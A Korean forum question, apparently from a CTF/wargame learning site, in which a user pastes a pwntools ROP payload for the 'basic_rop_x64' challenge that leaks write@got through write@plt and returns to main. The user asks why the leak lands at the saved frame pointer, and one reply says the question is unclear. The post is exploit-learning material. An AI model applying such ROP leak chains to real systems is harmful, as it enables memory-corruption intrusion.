Leak값이 SFP에 쓰여지는 이유를 모르겠습니다.

`#libc_base 주소를 찾기 위해 write()함수로 write_got 값을 출력
payload = b'A' * 0x40 + b'B' * 0x8
#payload += p64(ret)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(write_got) + p64(0)
payload += p64(write_plt)
payload += p64(main)

p.sendline(payload)`
이런식으로 해서 풀긴 했는데, 최종적으로 LEAK값이 SFP 부분에 쓰여지는 이유를 모르겠습니다.
image.png

#pwnable #rop #sfp #basic_rop_x64
작성자 정보
답변 1
avatar
wyv3rn
무플 방지 위원회장

질문이 이해가 안되는데요 ㅠㅠ

2023.04.15. 23:06
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기